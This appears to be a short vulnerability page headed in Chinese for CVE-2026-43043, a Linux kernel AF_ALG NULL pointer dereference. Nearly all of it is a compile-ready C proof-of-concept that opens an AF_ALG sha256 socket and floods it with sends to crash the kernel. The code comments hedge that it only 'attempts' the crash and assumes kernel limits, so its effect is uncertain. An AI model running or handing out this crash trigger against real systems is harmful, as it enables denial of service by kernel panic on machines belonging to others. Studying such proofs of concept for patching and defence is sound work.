CVE-2026-43043: Linux内核AF_ALG空指针解引用漏洞

// PoC for CVE-2026-43043: Linux Kernel AF_ALG NULL Pointer Dereference // This code attempts to trigger the scatterwalk crash by filling SGL exactly. // Compile: gcc -o poc_cve2026_43043 poc_cve2026_43043.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #define MAX_SGL_ENTS 128 // Assuming default max entries based on kernel code logic int main() { int fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", .salg_name = "sha256" }; char buf[4096]; // Buffer size int i; // Create AF_ALG socket fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (fd < 0) { perror("socket"); return 1; } // Bind to algorithm if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(fd); return 1; } // Accept connection int opfd = accept(fd, NULL, 0); if (opfd < 0) { perror("accept"); close(fd); return 1; } printf("Triggering SGL chaining bug...\n"); // Loop to send data and trigger the allocation/chaining logic for (i = 0; i < 1000; i++) { if (send(opfd, buf, sizeof(buf), 0) < 0) { perror("send"); break; } } printf("If vulnerable, kernel panic might occur.\n"); close(opfd); close(fd); return 0; }